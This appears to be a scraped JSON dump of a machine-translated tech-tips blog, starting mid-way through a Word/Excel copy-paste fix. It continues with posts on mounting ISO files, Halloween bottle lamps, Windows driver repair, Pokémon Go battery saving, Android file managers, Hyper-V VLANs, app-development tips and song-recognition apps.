in Safe Mode (without plugins), enter the command:\nexcel / safe\nNow the Microsoft Word application will be opened in Safe Mode and will not load any plugins.\n4. From Word's main menu (File), find and click Options .\n5. Next select Add-ins in the left pane.\n  6. On the Manage Menu in the right pane, select COM Add-ins and click Go .\n  \n7. Remove all options to disable the plugin and click OK.\n  \n8. Close and reopen Word in normal mode.\n9. Check if the Copy-Cut-Paste command is working.\n10. If the above commands work, the next step you need to do is to access Add-ins again and activate each plugin to find out which plugin causes the error.\nStep 4: Uninstall Windows Update KB3057839 In some cases, Windows Security Update may cause the system to fail. The KB3057839 update is reported to be one of the causes of the Copy-Paste commands error.\n1. Press the Windows + R key combination to open the Run command window.\n2. On the Run command window, enter the following command and press Enter to open the Windows Update window:\nwuapp.exe\n  3. On the Windows Update window, find and click the link Installed Updates in the left pane.\n  4. Select KB3057839 Update and click Uninstall.\n  \n5. After uninstalling, check if the Copy / Paste command is working. If the command is already active, you should prevent the installation of KB3057839 in the future. To do this thing:\n- On Windows Update window, click Check for Updates.\n  \n- Select the Important Updates link .\n  \n- Right-click Update KB3057839 and select Hide update.\n  \n- Finally click OK.\nStep 5: Disable security software In some cases, security applications such as Webroot SecureAnywhere may cause the Copy / Paste command to fail. To fix the error, you should temporarily disable the application.\nTo do this thing:\n1. Double-click the Webroot shortcut icon on your Desktop.\n2. Click the Identity \u0026amp; Privacy tab.\n3. Next, select Identity Shield in the left pane, then click View / Edit Protected Applications .\n  4. On the Protected Applications window, set up the application as DENY .\n  2. Some other solutions 1. Uninstall any recent IE versions.\n2. If installing Skype Call to Click, you should uninstall the application at Programs and Features in the Control Panel window. Also, you should completely uninstall the Skype application, then reinstall the latest version.\n3. Use the ystem File Checker (SFC) tool to fix corrupted Windows files and services. To do this thing:\n- Go to Start =\u0026gt; All programs =\u0026gt; Accessories =\u0026gt; Command prompt , then right-click Command Prompt select Run as administrator.\n- On the Command Prompt window, enter the following command and press Enter:\nSFC / SCANNOW\n- Wait for the SFC tool to check and correct the file system and service errors.\n- After finishing the process, restart your computer and check if the Copy / Paste command is working.\n4. If using a remote connection to connect to another computer, and the Copy / Paste command does not work after connecting, then you must kill and rerun \"Rdpclip.exe\" process. on remote computer clipboard. To do this thing:\n- Right-click on the Taskbar and select Task Manager.\n- On the Task Manager window, click the Processes tab .\n- Choose rdpclip.exe.\n- Click End Process .\n- Click on the Application tab.\n- Click New Process.\n- Enter rdpclip.\n- Finally click OK.\n5. Fix Office installation.\n6. Check other keys.\nRefer to some of the following articles: Fix the x80070005 error code in the Active Office process How to change the default save file format in Word, Excel and Powerpoint 2016? How to delete a background color in a Word document? Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjJ6pq6eiYrynecKop7JloJbAtbGMnKampZGjsW66zq1ksKeioLavs4yipWavn6exbrHXnJylZWJlfXh5kWloaQ%3D%3D\n","link":"/post/fix-error-of-copy-paste-command-not-working-in-word-excel-2007-2010/","section":"post","tags":null,"title":"Fix error of Copy Paste command not working in Word, Excel (2007, 2010)"},{"body":"ISO is a very common and widely shared file format on the Internet when you download large files such as game files, heavy software and especially Windows installer files. In versions from Windows 7 and earlier to be able to open or use ISO format files, you need to use supporting software such as UltraISO, PowerISO, Winrar . etc. It can open and use ISO files easily without installing any other software.\nFor example, here we have a Windows 7 installation file with ISO format, to mount this file to a virtual drive you just right-click on the file and select Mount right in the first line.\n  After clicking Mount, immediately you will see the folders and data in the ISO file are opened:\n  Open This PC and you'll see a DVD Drive appears, this is the virtual drive that we just Mount the ISO file, inside this drive contains the content of the ISO file we saw in the image above.\n  After using it, if you want to delete the virtual drive, just right-click on the drive and select Eject .\n  Thank you for watching this article, wish you success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWfqru1edOhnGaho6R6p7XLnmSipqSkeqJ51aKpra2RoXqlvsivnGannmLEqrrDqK6sZWFleri106Gmrqxdnru0wMClo6Kml2Kur8WMrKafrKeWv6Y%3D\n","link":"/post/how-to-mount-the-iso-file-into-a-virtual-drive-on-windows-10-without-installing-any-software/","section":"post","tags":null,"title":"How to mount the iso file into a virtual drive on Windows 10 without installing any software"},{"body":"You want to organize for your family, friends at home, company or class a memorable Halloween night, the unique lights from old bottles will help you to have strange and beautiful decorations. .\nA bit of creativity, a little skillful you can turn old glass bottles into colorful, creepy lights to decorate Halloween night.\n  Materials needed. Old glass bottles, plastic bottles. Spray paint bottle. Ribbon, colored paper, shrug paper, watercolor, brush, small led light bulb, some plastic toy animals. Other tools such as scissors, bandages, glue, fastening rope. How to decorate bottles for horror Halloween night   1. With this shaped glass bottle, you use the shrug paper around the body of the jar (the color, the thickness of this layer is optional). Then you apply decorative motifs such as demon mouth, pumpkin shape, . cut with colored paper onto the body of the jar. Put the led light inside the jar as you complete the job.\n  2. To get this frightening lamp that many people frightened, you just need to take a photo to enlarge anyone's face (choose a face with a terrifying expression) and put it in a glass jar. To increase the creepyness, you should add a little splitting rope inside.\n  3. In order to have this lamp, spray black on the body into the crown (only blurred), then apply the glue or spider plastic toys on the inside of the jar.\n    4. With old bottles shaped like this, you can decorate it by coating a transparent opaque primer on the whole bottle of wine. You can choose the typical horror motifs on Halloween night like bats, spiders, too pumpkin to paste on the bottle surface. Finally, you put the led light inside and use the ribbon to shape the bow at the neck.\n  5. With the bottle of sampanh, you only need to have a white paint on the outside of the bottle, followed by a silver emulsion on the entire body of the bottle. Use black emulsion cover underneath to increase the macabre and creepyness. Finally put a fake spider and use a white marker to draw the spider web.\n  6. With this simple decoration, you only need to spray a layer of paint (the color you choose) and then use the colored marker to draw on the patterns that you like.\n  7. You just need to use the tape to wrap around the glass bottle and attach more eyes to create a unique lamp. Don't forget to put in a candle or led light.\n  8. From the fanta, cocacola plastic bottles, cut the top part of the bottle with a knife and cover the remaining body with the paint. After the paint is dry, you just need to use a crayon to paint on it, such as spider web, clown face, demon face, etc., to complete an item to decorate Halloween night.\nVideo detailing how to create simple Halloween lights from old bottles\nHere are some simple but equally intricate Halloween decoration ideas, unique suggestions for you. With available materials, a little creativity, you will surely have an impressive Halloween space.\n                Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq680Z6qrKGmmnqprculprCdlaN6pbHCqKmarJmku27DyK2fZqecmXqju9Oto56r\n","link":"/post/impressive-halloween-decoration-with-old-bottles/","section":"post","tags":null,"title":"Impressive Halloween decoration with old bottles"},{"body":"Following the launch of the iPhone SE 2020 today, Apple has officially killed two other iPhone models, the iPhone 8 and iPhone 8 Plus. iPhone SE will replace iPhone 8 and iPhone 8 Plus to become Apple's cheapest iPhone model.\n iPhone 8 and iPhone 8 Plus\nThe replacement of iPhone SE 2020 for iPhone 8 is a perfectly reasonable decision. Compared to the new iPhone SE, the iPhone 8 has a similar design but loses out on all the remaining factors such as performance, camera and some other technology. The iPhone 8 even sells for $ 449, higher than the $ 399 iPhone SE. So, there's no reason for the iPhone 8 to coexist with the new iPhone SE.\nThe story is quite the opposite of the iPhone 8 Plus - the large version of the iPhone 8 with a 5.5-inch screen. iPhone 8 Plus was killed, but there was not any \"iPhone SE Plus\" was born to replace.\nPerhaps Apple wants to direct users looking for a big-screen phone to the iPhone XR model ($ 599) or iPhone 11 ($ 699). However, the design \"rabbit ears\" or the absence of the Touch ID fingerprint sensor on these models will probably make some users feel sorry for the departure of iPhone 8 Plus.\nncG1vNJzZmismaXArq3KnmWcp51ktrG0zqecZnBdlrulecipn6imlWKFbrzLrqpmr5Wnsm67xZ%2BgnKGRobm6ecqio6WdlGKvunnAqaelnQ%3D%3D\n","link":"/post/iphone-8-and-iphone-8-plus-were-officially-killed-by-apple/","section":"post","tags":null,"title":"iPhone 8 and iPhone 8 Plus were officially killed by Apple"},{"body":"Unfortunately, this can also render the device it controls unusable or malfunctioning. Therefore, it is important to fix a corrupt driver as soon as you discover it to prevent the computer from crashing. Here are some ways to fix corrupted drivers in Windows 10.\n1. Update driver from Device Manager menu Windows 10 automatically updates drivers through updates. However, some updates can cause problems with drivers, causing them to function incorrectly. In some cases, manually updating the faulty driver can fix the problem. Here's how to do it:\nStep 1: Press and hold Windows key + R to open the Run dialog box. Type devmgmt.msc and click OK to open the Device Manager menu.\nStep 2: Check the list of drivers and expand the list if necessary. Find the driver with a yellow question mark. This mark indicates which device has a corrupted or faulty driver.\nStep 3: When you find the corrupted driver, right click on it and select Update driver from the context menu.\n  Windows will automatically search for this driver online and install any compatible updates for the device.\nIf the latest driver version is not installed on your computer, updating the driver manually usually fixes the problem. However, if no update is available, continue with the next fix.\n2. Reinstall the driver If your driver has been updated and is still broken, reinstalling the driver can sometimes help. Follow the steps below:\nStep 1: Press and hold Windows key + R to open the Run dialog box. Type devmgmt.msc and click OK to open the Device Manager menu.\nStep 2: Find the corrupted driver and right click on it. Then, choose Properties from the menu.\nStep 3: On the driver properties, go to the Drivers tab and note \"Driver Version\". You will need this information afterwards to download the driver from the computer manufacturer's website.\n  Step 4: Next, click Uninstall Device to remove the driver from the system.\n  Step 5: After uninstalling the driver, go to the OEM website, search for the driver version you recorded and download it.\nStep 6: Install the driver and restart the PC.\n3. Run Windows troubleshooter If you find the manual process of fixing a corrupted driver too tedious, the Windows troubleshooter tool will be the perfect choice for you. The tool located in the Control Panel helps users fix some of the most common problems found in Windows 10.\nThrough this tool, Windows will automatically download or fix corrupted, missing or problematic drivers in the device. Here's how to use it:\nStep 1: Press and hold Windows key + R to open the Run dialog box. Then, type control and click OK to open the Control Panel.\nStep 2: On Control Panel, change the view to Large icons.\n  Step 3: Next, select Troubleshooting from the menu.\n  Step 4: Click View all from the left menu.\n  Step 5: From this list, locate the problem you are currently facing and click on it. This will run the troubleshooter.\nStep 6: From the pop-up window, click Next, then Windows will automatically detect the problem and fix it.\n4. Scan your system for viruses with Windows Security Corrupt drivers are sometimes caused by malware on the computer. If you have a habit of downloading files from untrusted websites, you are putting your system at risk. These files can be infected with viruses and interfere with drivers, affecting some components of the computer.\nFortunately, Microsoft has a built-in security tool that allows you to find and delete malicious or corrupt files from your system. This will allow you to eliminate the cause of the problem, so you won't have to keep fixing your broken drivers. Here's how you can use it:\nStep 1: Press and hold Windows key + S to open Windows Search. Type Windows Security and press Enter.\nStep 2: Click Virus \u0026amp; threat protection.\nStep 3: From this page, click Quick scan. This will scan the system for any threats and remove them from the system. The scanning process may take a while if your computer has a lot of files and applications.\n  Step 4: Once the scan is complete, you can update and install the driver as mentioned in the first method above.\n5. Update Windows 10 If all else fails, a system update can resolve the corrupted drivers in Windows 10. But before you update your system, make sure that the Device installation settings are enabled. This setting ensures that Windows will update all drivers along with system updates. Here's how to enable it in the system:\nStep 1: Press and hold Windows key + S to open Windows Search. Type Device installation settings and press Enter.\nStep 2: A window will appear asking: \"Do you want to automatically download manufacturers' apps and custom icons that are available for your devices?\".\nStep 3: Select Yes and click Save Changes.\nAlso, check for optional updates before downloading the latest Windows update. These optional updates bring necessary changes to the computer, and installing them can help fix corrupted drivers.\n  Corrupted drivers can cause system problems and can affect the overall functionality of the device. Drivers help your system communicate with the hardware correctly, and if they are damaged or missing, the computer's components can become unusable.\nThankfully, the fixes above can help restore system drivers to their normal state, allowing your computer to function at its best.\nfix windows 10 errors ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddm7a5ecKoqautoKmypXnDq6CvnaKoerC6jLCgp5yfrMBufY8%3D\n","link":"/post/steps-to-fix-corrupted-drivers-on-windows-10/","section":"post","tags":null,"title":"Steps to fix corrupted drivers on Windows 10"},{"body":"The heat of Pokémon Go seems to have no sign of cooling down and is becoming more and more powerful. The number of Pokémon Go players is constantly increasing, creating a phenomenon of catching new Pokémon in the community of gamers.\nHowever, this wave of catching Pokémon also causes us a lot of trouble, especially the problem of draining the battery too quickly. This is understandable when it comes to capturing Pokémon warriors, players are forced to turn on GPS and use the camera continuously, leading to a rapid depletion of your battery. Is there any way to save battery power and comfortably capture Pokémon that are not afraid of source collapse? If you have not found the solution, please refer to the ways below that Integrated Network Administrator.\nSummary - How to play Pokemon GO, virtual reality game catch Pokemon on smartphone How to catch Pokemon rare in Pokemon GO Pokémon systems when fighting in Pokémon Go 1. Turn on battery saving mode in Pokémon Go: In fact, the manufacturer has integrated Battery Saver battery saving mode right in the game's settings. Probably because people put their hearts into catching Pokémon but missed this useful mode. When starting battery saver mode, the device can save up to 40% compared to normal.\nTo start, click on the Pokéball icon in the main interface of the game. Then, click the Settings gear icon on the top right of the screen. In that interface, there will be Battery Saver , we just need to select the item to boot.\n  2. Turn off the sound when playing Pokémon Go game: It will be more interesting if you catch Pokémon with more music. However, due to peculiarities or moving on the road, the sound is quite noisy and loud, so it's best to turn them off. Can save battery, and reduce noise.\n3. Reduce phone screen brightness: Normally the screen brightness will not affect the battery much. But if we play Pokémon Go, it will become one of the causes of battery drain. Therefore, reducing the screen brightness will save quite a bit of that battery. In many cases, you don't need to have a high screen level, but you can leave it at 10% or 20%, but you can still see clearly on the screen.\n   4. Use battery saving mode when turning on GPS: When playing Pokémon Go, we have to turn on the GPS continuously, causing the battery to drop \"without braking\". Therefore, when you turn on the GPS you also need to combine the power saving feature to optimize the phone battery. If you use an Android phone, follow the following link: Settings\u0026gt; Location\u0026gt; Location mode\u0026gt; Battery saving .\n    5. Turn off features that are not related to Pokémon Go: In order to serve Pokémon Go, we only need GPS to be important. Therefore, turn off other features not related to Pokémon Go, to save battery.\n   6. Turn off applications that run in the background on the device: When you are dedicated to playing Pokémon Go, you should completely exit the applications running on the device. Most people press the Home button to return to the main screen, if you do not want to use the application. However, they will switch to the background mode and also consume the device's battery. Go to the application manager on the device and check if there are any applications running like Facebook, Zalo, . turn them off.\n   7. Restrict crowded places, high buildings: GPS connectivity is expected to be more efficient and consume less battery power in open areas, the density of people is not too crowded. GPS connection errors are also less likely to occur when in crowded places, tall buildings will interfere with GPS.\n  8. Using backup charger: The last option we want to introduce to you is to use a backup charger. Currently, standby charger is sold quite a lot with many different items, charging quality is also improved to ensure battery life for users.\n  Thus, with just a few simple steps, we can save battery when playing Pokémon Go. Hopefully the battery drain problem when playing Pokémon Go makes you a headache to be resolved quickly and effectively, by the tips introduced by the Network Administrator.\nWish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51kwamx0p5kmqqVYrKnssScq6KulWLEosXSZquoZaOWw6Z5wZqrrZ2irnq4tMSnZKmkka62r7OMqaaknZ2ku26zzg%3D%3D\n","link":"/post/these-are-effective-ways-to-save-battery-when-playing-pok%C3%A9mon-go/","section":"post","tags":null,"title":"These are effective ways to save battery when playing Pokémon Go!"},{"body":"Compared to file management applications on the PC platform on Windows, Linux or Mac OS, mobile file management applications are customized to be shortened to suit the mobile configuration.However, \"small\" does not mean \"weak\".\nManaging files is a difficult task, especially when your phone memory is full of things that you don't even use. When buying a new phone, you download a lot of unnecessary and too lazy things to uninstall them one by one or arrange thousands of photos, videos, documents to be convenient to use and need to find them.\nFortunately, Android has very useful file management applications that help you do this. This article will share with you 10 best file management applications, please choose the application that best suits your needs.\nTop good file management application on Android 1. ASUS File Manager 2. ES File Explorer 3. Astro Cloud \u0026amp; File Manager 4. Solid Explorer 5. AirDroid 6. File Manager 7. Amaze File Manager 8. Portal 9. Total Commander 10. X-plore File Manager 1. ASUS File Manager ASUS File Manager is simple with an easy-to-use interface, easy access to files from many places like internal memory, SD card, network or cloud services like OneDrive, Dropbox, Google Drive.\n  On the main page, it displays all image files, videos, music, PDF files, etc., along with the amount of internal memory and MicroSD card. In addition, users can transfer files wirelessly between computers and phones. It supports all smartphones and no ads.\nDownload : ASUS File Manager\n2. ES File Explorer With ES File Explorer you will feel like you are using Windows Explorer. Its interface is colorful and easy to use. The menu displays many options so you can enable or disable preferences. You can rename, delete, add folders and delete memory space.Analyzer feature is really useful when removing junk in internal memory and MicroSD.\n  One interesting thing about this file management application is the Gesture feature, assigning certain gestures to perform some specific functions in the application. This is a good choice if you are looking for an unmanaged file management application and operate at full capacity in the free version.\nDownload : ES File Explorer\n3. Astro Cloud \u0026amp; File Manager Astro File Manager is another powerful file management tool for Android. It allows users to manage cloud storage and storage on the phone, organizing files between internal memory, MicroSD and the cloud. In addition, you can bookmark folders or install and access mapped networks.\n  This file manager application can also quickly see the size of MicroSD card and internal memory. In general it is like Windows Explorer with neat folders.\nDownload : Astro Cloud \u0026amp; File Manager\n4. Solid Explorer Solid Explorer is best known for its drag and drop features. The dual control panel allows you to switch between two separate folders at once and use the drag and drop feature to move files. This file management application is very simple with an interactive user interface.\n  In addition, it also integrates with cloud services like Google Drive, OneDrive, etc. and Chromecast.\nDownload : Solid Explorer\n9 outstanding features of Solid Explorer you may not know 5. AirDroid This is an Android application that syncs phones and computers, providing remote file management rights. AirDroid allows users to access files from any web browser.\n  In addition, Airdroid also allows you to move wireless files and folders to and from the device, even running applications and receiving notifications as SMS. You can also install / uninstall the application from a remote location. It has an integrated system to protect your data and in case of intrusion, you can lock or even delete all confidential information remotely.\nDownload : AirDroid\n6. File Manager File Manager has easy-to-use functions, its main screen has preset folders for photos, music, videos and documents. In addition, you also have the option for external hard drive and internal memory. Folder view allows you to switch between different folders with the Swipe feature. This application also supports cloud storage service management and FTP connection.\nDownload : File Manager\n7. Amaze File Manager Amaze File Manager is an open source application that can perform all internal file management tasks. Users can view commonly used folders such as images, movies or downloads, etc. in the Shortcut tab and bookmark folders are used frequently. This file manager application also supports FTP and SMB connection, integrated application management, ZIP file and Root Explorer for rooted Android tablets or phones.\n  The only downside of this application is that it does not support cloud storage service management, but if you are looking for an internal file management application, this is one of the best applications to have.\nDownload : Amaze File Manager\n8. Portal Portal is a remarkable file transfer application that allows users to exchange files via Wifi between smartphones and computers. When installing the application on your phone, you need to access portal.pushbullet.com on your computer, scan the QR code.\nShare files on Windows with Android device You can easily transfer one or more files and even folders to your phone while your photos are automatically synced to Gallery. You still need another application to manage files on your device, but Portal is a useful tool for moving your files to and from your desktop / phone.\nDownload : Portal\n9. Total Commander Total Commander is a well-known file manager, previously used with desktop computers, but is now available on the Android platform.\n  It has basic functions like copying, pasting, comparing files and folders, making it easier to manage. Some additional features include: Root, sort by file name, bookmark, support FTP and LAN plugins.\nDownload : Total Commander\n10. X-plore File Manager X-plore File Manager uses a dual-panel interface with many attractive features displayed on the main screen. The interface is easy to understand and allows you to compare and transfer files easily. X-plore can remind you of Windows Explorer because the Folder sidebar opens at its maximum size, making it easier to see the file.\n  The most interesting features of X-plore File Manager are integrated media player, Auto-Zip file generator and ZIP extractor, additional support for LAN and web storage.\nDownload : X-plore File Manager\nSee more:\n11 most effective file management applications on iOS How to use Files Go to manage files, share data on Android Top 14 amazing apps only available on Android ncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZp%2BfpLFussilnGalkaOuqLHMnqWtZZGlva21wpqroqeeqHqwuoyapZ2qn56x\n","link":"/post/top-10-good-file-management-applications-on-android/","section":"post","tags":null,"title":"Top 10 good file management applications on Android"},{"body":"Network Administration - In this final section, I will show you some of the VLAN configuration methods.\nIn the previous part of this series, we discussed the concept of VLANs associated with Hyper-V. In this article, I will show you how to configure VLAN in this Hyper-V environment.\nBefore we get started, we want to say that using VLANs is only an option if your network switches support VLANs. As explained in the previous article of this series, both the parent and child partitions connect to the virtual switch, which provides VLAN support. Therefore, you must have a physical switch that supports VLAN traffic.\nIn other words, if the virtual machine needs to communicate with another virtual machine hosted on the same physical server, the VLAN traffic will go through the virtual switch, and so the VLAN communication here is fully supported. Conversely, if a virtual machine needs to communicate with the parent partition and the machine is also connected to a virtual switch, the VLAN traffic here will be supported. However, if the virtual machine needs to communicate with another client that is hosted on another physical server (or needs to communicate with a physical machine that is not in the same parent partition as it) then the data will go through the physical network. and traffic transport switches need to support VLAN.\nNetwork switches must support VLAN traffic, so the server's network adapter must also support VLANs. Since not all network adapters can support VLAN traffic, you need to double-check to ensure that the server adapters support VLANs first and then forward them to VLAN configuration. Near the end of this article, I will show you how to detect if the network adapter supports VLAN traffic.\nThree types of VLAN configuration\nIn Hyper-V environment, there are three different locations for you to enable VLAN communication. However, it should be noted that there is no need to enable VLAN support in all three locations. You only have to configure VLAN support where you really need it.\nParent partition\nThe first place you can configure VLAN support is the parent partition. This does not automatically configure VLAN support for virtual machines, but it only ensures that traffic travels through the adapter tagged with the VLAN ID number so you can identify it.\nEnabling VLAN support for the parent partition is done via the Hyper-V Management Console. To do this, you need to open the Management Console, then click the Virtual Network Manager link. When the Virtual Network Manager window opens, you will see a list of all virtual networks configured on this machine.\nHere, you need to select the virtual network you want to configure. When you're done selecting the virtual network, you'll see on the right side of the window there are different configuration options, as shown in Figure A. This section contains a checkbox to enable Virtual LAN Identification for parent partition. If this checkbox is enabled, you will need to provide the VLAN ID number that the parent partition can use.\n  Figure A: Check the Enable Virtual LAN Identification for the Parent Partition checkbox and provide the VLAN ID number\nVirtual machine\nIn addition to being able to configure the parent partition to support VLAN traffic, you can also enable VLAN support on virtual machines. This activation is also done through the Hyper-V Manager console.\nTo enable VLAN support on the virtual machine, open the Hyper-V Manager, right-click on the virtual machine you want to configure. Choose the Settings command from the right-click menu and you will be taken to the Settings page of the virtual machine.\nSelect the network adapter you want to enable VLAN support. As you can see in Figure B, you can enable VLAN support by selecting the Enable Virtual LAN Identification checkbox and providing VLAN ID.\n  Figure B: The VLAN support configuration process on the client is very similar to the method used to provide VLAN support for the parent partition.\nAs you can see in the image above, you can see that the Enable Virtual LAN Identification option is still in gray. There are two things that cause this problem. It is possible that VLAN configuration options are not available if physical network hardware does not support the use of VLANs. Secondly, these options may be grayed out because the virtual machine is currently running.\nAdditional connection\nWhen enabling VLAN support for the parent partition, we did this by selecting a network adapter attached to the Hyper-V virtual network and then configuring the settings for that adapter. This is not only the main method for enabling VLAN support at the parent partition level but it also has many other effects.\nUsually Hyper-V is configured for many physical adapters. In these cases, at least one adapter will be used exclusively for the parent operating system. This method allows remote management, patch management, etc. However, since this adapter is not connected to a virtual switch, you will not be able to use the Hyper-V Manager interface to enable VLAN support for the adapter.\nBefore going on to introduce how to enable VLAN support for adapters, you need to know that this technique should only be used for network adapters that are not connected to the Hyper-V virtual network. If an adapter is being used by Hyper-V, you need to use another configuration method that we discussed above.\nHere's how to do it, first you need to open Control Panel and click on the Network and Internet icon. Next open the Network and Sharing Center and then click the Change Adapter Settings link . Now Windows will display all physical network adapters installed in the server. Right-click on the adapter you want to configure and select Properties from the menu that appears. You will then see the adapter properties page. Click the Configure button, Windows will display a different property page. Go to the Advanced tab of the properties page, as shown in Figure C.\n  Figure C: You can enable VLAN support at the network adapter level\nAs you can see in the image above, you need to use the Priority \u0026amp; VLAN option to enable VLAN support for the adapter. After doing so, use the VLAN ID option to specify the VLAN ID, then click OK . If these options are not available, it also means that your network card does not provide VLAN support.\nncG1vNJzZmismaXArq3KnmWcp51kw6q%2B066YpWWemsG4u9GkZJ%2BnomK1urzEq61mqJGnwW6C\n","link":"/post/virtual-network-for-hyper-v-part-6/","section":"post","tags":null,"title":"Virtual network for Hyper-V - Part 6"},{"body":"You want to successfully program an application but don't know where to start?\nApple has done a great job of providing developers with detailed, specific, clear instructions on how to successfully write an application. However, after spending more than half a century to program the app (many of them have achieved certain awards) and considering the advice from Apple's guide, I decided to simplify it all. That information into 5 tips below is for those who are fond of the idea of ​​writing an app for the phone.\nI also stressed that if you want your application to survive long in the market, you should be quiet and listen more. This is already 2016 - there's no room for the \"amateur\" or those who just speak without doing. Learn from today and your dream of becoming a professional App developer won't be far away!\n  Tip 1: Useful and unique We have more than 1.6 million apps on the App Store. If your app does not create something useful or unique or is not a form of entertainment or if your product is too different then it will not be accepted.\nCreate something useful, specific, solve the problem that users are having with an easy-to-use interface. You can take advantage of the available solution and make it more efficient, faster, simpler, cheaper, safer or more interesting. All these adjectives are what make your product worth.\n  Occasionally, a new product is much better than hundreds of ones with the same functionality already on the market. Consider how you can make everyone's life better. Rethink, refresh, redesign and reinvent existing things or mix old ones to create new ones. Just so you have a firm grasp on the winner.\nFor example, try observing Overcast - a podcast listening application. In essence, it is not the most comprehensive app integrated. However, instead of confronting directly with other competitors, Overcast only focuses on some core functions. One of the special capabilities is that this app helps users save time with the intelligent acceleration feature (Smart Speed) which allows users to fast forward to shorten the common silence when listening to Talk Show on podcasts.\nAlthough podcasts have appeared about 10 years ago, within a relatively short time, Overcast has quickly proved its convenience and position in the market with better podcast quality and user experience. also improved to a certain extent.\nTip 2: Check before writing Before you start writing applications, check out the other apps in the same category on the App Store and see how you can provide a better experience for users.\n  Traditional methods are usually only effective at medium level. Instead of improving the performance of the old, with this principle you will build something completely new and very different from the products that have appeared before. On its website, Apple also stressed that \"if your application does not provide many new features or features or is only suitable for a very small number of users, it will not be accepted\".\nTip 3: Optimize user interface (UI) Apple appreciates applications that have a clean, user-friendly and elegant interface. Plan the design process carefully, keep abreast of design guidelines, what should and should not be when designing a UI to ensure your product meets the standards.\nEveryone knows Apple goes into details. The Macintosh development team always looked closely at the inside of this model even if they knew that there was almost no one to pay attention to. Obviously, in times when competitors are often obsessed with quantity, they want to win, you need to conquer customers with quality.\n  For application programming, Apple's motto is \"make it worthwhile\" to make people feel excited about the app's interesting and eye-catching, and \"force\" them to Download it immediately. In addition, small details such as application icons, sound or small parts on the interface must also make a significant difference.\nTip 4: Really invest time and effort If your application is written and completed in a hurry in a few days or you are trying to get an app posted to the Store just to impress your friends, be prepared for the product. that will be rejected. We currently own a team of veteran developers who don't want their quality applications to be surrounded by something unprofessional.\nThe App Store now has more than 1.6 million applications and this is no longer a place for people to write apps in a sketchy or half-hearted way. Many developers spend hundreds (even thousands) of hours checking, editing and perfecting their products before publishing.\n  Take the time to complete the application from the first time and proceed with the product quality assurance process (QA) carefully. Then, share the app with the testers to test the application and collect feedback. You must also experience it directly, install the app on old devices and as many models as possible, and don't forget to fix all the bugs that may be before uploading to the Store as \"version 1.0\". Your ability to make mistakes is inevitable, so do it well.\nDo not submit the application until you are confident that your \"brainchild\" deserves a 4 or 5 star rating from most users.\nTip 5: Always target customers Finally, we appreciate your efforts and always try our best to create the best platform - where you can show your talent and make money. If the approval process is rigorous, it is because we are committed to bringing great things and quality experiences to users and developers alike.\nNo matter how good your application is, if it is not received by users, it will not last long. Therefore, create a useful product, quality and meet the needs of customers. Just a small detail in your product is detrimental or reduce the experience for the user, the likelihood of the app being downgraded compared to the opponent's application is certain.\nncG1vNJzZmismaXArq3KnmWcp51kxKK602arqGWnp7a1sYyap6mkmZiutbXOp6pmq6WYsKa%2F0p%2BspaSpYq6xvMuyZK2glaiyboGMqamippOeva2x0mamn2WRpb2tsQ%3D%3D\n","link":"/post/want-to-write-applications-successfully-apply-these-5-principles-of-apple/","section":"post","tags":null,"title":"Want to write applications successfully, apply these 5 principles of Apple"},{"body":"There are times when you accidentally hear a very nice piece of music but don't know what the song title is, especially if the song has a different language like Korean, English or other languages ​​you can't. imagine what song the song I'm listening to is the language of which country.\nIf it is Vietnamese, it is easy because you can search on Google by the lyrics of that song, and with other languages, please refer to the ways below to search for the song you are listening to.\n4 websites looking for song titles through extreme melodies or do you know? How to transfer songs with the iPhone volume button Free music player application for Android phones How to copy music to iPhone, iPad from computer? Ways to search for songs that are listening 1. Search on Google or Genius   The simplest and most common way is to search for lyrics on Google or Genius, on Google, the song results will immediately show up when you type only one sentence in that song. Often these results will produce music on top music websites in Vietnam, or display videos (if any) on Youtube.\nWith Genius, the search results in English will be more popular than Vietnamese, because Genius has a ranking of many songs in the world and this site will be biased. You just need to enter the lyrics of the song you want to find in the search box on the upper left corner, then press enter and the result for that song will appear below, including the full song, MV, and album. Can attach a comment of the singer to show the song.\nIn short, Google will be for those who like to search for songs quickly and simply, and if anyone wants to fully understand what is related to their songs, then go to Genius.\n2. Find the song using Google Sound Search Download Sound Search for Android\n  Those who own Google Pixel phones will be familiar with the Now Playing feature, which is always enabled. Users can search for a song that Google Pixel overhears in any time. And now Google has added the Sound Search application available only on the Android platform.\n  You can issue a search for Sound Search, just say \" what song is playing ?\" and wait for Sound Search to record the music being played and then display the song with that track, the result will be displayed in Google Search. The accuracy that Sound Search brings to users is quite high because this tool uses cloud storage and has a very diverse data source.\n3. Use Shazam to find the song that is playing Download Shazam for iOS Download Shazam for Android Download Shazam for Windowsphone    Shazam is an application that identifies songs through melody in a very smart way, you just need to allow Shazam to access the phone's microphone and speakers. Then click on the icon to start recording Shazam, put the phone near the music player you want to find.\nNext Shazam will automatically identify the song name and the singer to show, in addition Shazam also offers a number of related options. Includes video clips, albums and some related songs, in addition to these, you can tag, buy and comment.\nIn addition, this application is also connected to Spotify application, if you already have an application and Spotify account, you can connect this account with Shazam application.\n4. Find the song with Siri virtual assistant   In addition to ordering Siri to manipulate the application opening, making a call . the virtual assistant can also perform a song search. In addition to Siri of Apple, Amazon's Alexa can also find the name of the song for you, Apple has recently acquired Shazam application and in the future, it will be more integrated with Siri to help users search and listen. Get more songs.\n5. Find the lyrics using the SoundHound application    Download SoundHound for iOS Download SoundHound for Android Download SoundHound for Windows Phone With SoundHound, you will be able to enjoy high quality music with the system to identify and find music automatically on your phone. Just touch the SoundHound button on the main screen, then put the phone close to the music source that is playing so that the application recognizes the song and says \" OK Hound, what song is this? \".\nYou will get the results and lyrics available, then you can share, buy music or discover more other famous artists that you love or simply learn about the names that cause another impression. More specifically, SoundHound also allows searching songs by allowing users to sing a piece into the phone microphone and Sound Hound will record your song, the search results will now depend on the ability to sing. The song's already sung.\n6. Find music with MusixMatch    Download MusixMatch for iOS Download MusixMatch for Android Download MusixMatch for Windows Add another application that you can use to search for lyrics, MusixMatch allows users to search for lyrics in the most professional and perfect way on mobile. With the largest professional and official catalog of lyrics with over 6.5 million lyrics in 30 different languages.\nJust like Shazam and SoundHound, you just need to listen to the MusixMatch to listen to the music that has been played to find the music you want to listen to. In addition, MusixMatch also syncs your music library on iTunes with synchronized 